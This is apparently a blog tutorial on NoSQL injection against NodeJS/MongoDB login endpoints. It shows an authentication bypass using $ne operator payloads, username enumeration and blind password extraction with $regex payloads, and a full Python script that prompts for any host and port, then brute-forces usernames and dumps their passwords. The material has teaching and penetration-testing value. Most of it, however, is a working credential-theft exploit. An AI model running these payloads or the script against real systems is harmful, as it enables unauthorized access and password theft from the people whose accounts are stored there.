NodeJS and MongoDB NoSQL Injection

On this post we’ll see how NoSQL databases can be injected. We’ll see how to bypass an authentication and how to exploit a blind NoSQL injection with python.

Authentication bypass
Users enumeration
Dump passwords
Putting all together with python


Authentication Bypass

1 : Set burp as proxy
2 : Make an authentication test with random credentials

test_request

3 : Intercept and modify the request as below
user=test&pass=test to user[$ne]=test&pass[$ne]=test

intercept_request

or :

intercept_request_2

You’re now logged as the first user stored in the database (often an admin)



Users Enumeration

This time we’re going to use the query contructor [$regex] :

.     : means any character
.{5}  : means any 5 characters


1 : Dictionary attack
user[$regex]=root&pass[$gt]=

dic_attack_1

user[$regex]=alex&pass[$gt]=

dic_attack_2

So we know that the username alex exists and root doesn’t.


2 : Bruteforce attack

Based on the same method we can try every patterns from aaaa to zzzz (include lowercase, uppercase and numbers).
Example :

user[$regex]=aaaa&pass[$gt]= through user[$regex]=zzzz&pass[$gt]= 

One way to generate such a list with python :

patterns = [''.join(i) for i in product(ascii_lowercase, repeat = 4)] 



Dump passwords

Once again we’re going to use the query contructor [$regex].


1 : Password length
user[$gt]=&pass[$regex]=.{0} through user[$gt]=&pass[$regex]=.{5}

pass_length

user[$gt]=&pass[$regex]=.{6}

pass_length_2

So the password of the first user is 5 characters long.


2 : Retrieve password
user[$gt]=&pass[$regex]=a.{4}

pass_dump

user[$gt]=&pass[$regex]=ad.{3}

pass_dump_2

user[$gt]=&pass[$regex]=adm.{2}

pass_dump_3

user[$gt]=&pass[$regex]=admi.{1}

pass_dump_4

user[$gt]=&pass[$regex]=admin{0}

pass_dump_5

So the password of the first user in the database is : admin



Putting all together with python

The following python script first use the [$regex] query constructor to do a dictionary attack on usernames, then try to bruteforce them (aaa-ZZZ).
Each time a valid user or regex pattern is found the script calculate the password length.
Finally the script extract the passwords for each users and patterns found.

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import os
import requests
import timeit
from itertools import product
from string import ascii_lowercase

users = ["admin", "Admin", "root", "r00t", "administrator", "Administrator", "administrateur", "Administrateur", "user", "User"]
patterns = []
creds = {}
ucreds = {}
host = raw_input("host : ")
port = raw_input("port : ")
repeatchar = raw_input("Repeat ascii bruteforce (ex: 3) : ")
url = "http://" + host + ":" + port + "/login"
start_time = timeit.default_timer()

def view():
	print "NoSQL injection\n==============="
	elapsed = timeit.default_timer() - start_time
	m, s = divmod(elapsed, 60)
	h, m = divmod(m, 60)
	print str(len(ucreds)) + " unique passwords dumped in %d:%02d:%02d\n" % (h, m, s)
	print "%-*s %s" % (25,"Password :","Regex patterns :")
	for k, v in creds.iteritems():
		print "%-*s %s" % (25,v,k)
		
# Add usernames from users
for user in users:
	patterns.append(user)

# Add usernames from wordlist
#with open('usernames.txt') as f:
#    patterns += f.read().splitlines()

# Generate patterns for bruteforce
num = list(range(1000))
patterns += [str(x) for x in num]
patterns += [''.join(i) for i in product(ascii_lowercase, repeat = int(repeatchar))]
 
for pattern in patterns:
	# check if regex pattern matches a user "user[$regex]=pattern&pass[$gt]="
	req = {'user[$regex]':pattern, 'pass[$gt]':""}
	res = requests.post(url,data=req).content
		
	# if not logged, try next pattern
	if res.find(b'Administration') == -1:
		elapsed = timeit.default_timer() - start_time
		m, s = divmod(elapsed, 60)
		h, m = divmod(m, 60)
		os.system('clear')
		view()
		print "\nNo matching user for pattern : " + str(pattern)
		continue

	# if pattern matches a user then check password size
	size = 0
	while 1:
		# "user[$regex]=pattern&pass[$regex]=.{0}" ==> "user[$regex]=pattern&pass[$regex]=.{5}" 
		payload = ".{" + str(size) + "}"
		req = {'user[$regex]':pattern, 'pass[$regex]':payload}
		res = requests.post(url,data=req).content
		
		# Until logged, increment size otherwise password is size -1
		if res.find(b'Administration') == -1:
			break
		size += 1
	size -= 1
	#print "[+] The password is " + str(size) + " characters long !"


	# retrieve password
	passwd = ""
	char = 48
	length = 0

	while 1:
		# "user[$regex]=pattern&pass[$regex]=a.{5}" ==> "user[$regex]=pattern&pass[$regex]=admin.{0}" 
		pass_payload = passwd + str(chr(char)) + '.{' + str(size - len(passwd) -1) + '}'
		req = {'user[$regex]':pattern, 'pass[$regex]':pass_payload}
		res = requests.post(url, data=req).content
		
		os.system('clear')
		view()
		print "\nMatching user for pattern : " + str(pattern)
		print "Password : %s" % (pass_payload)
		
		if res.find(b'Administration') != -1:	# if logged, add char to passwd
			passwd += str(chr(char))
			char = 48
			length += 1

		if char == 90:	# jump unhandled ascii chars
			char = 96		
		if char == 57:
			char = 64
		char += 1

		if len(passwd) == size:
			creds[pattern] = passwd
			ucreds = {}
			for k, v in creds.iteritems():
				ucreds.setdefault(v, []).append(k)
			break

os.system('clear')

print "%-*s %s\n" % (30,"Password :","Regex patterns :")
for k, v in ucreds.iteritems():
	print "%-*s %s" % (30,str(k),str(v))

print "\n" + str(len(ucreds)) + " unique passwords found in %d:%02d:%02d\n" % (h, m, s)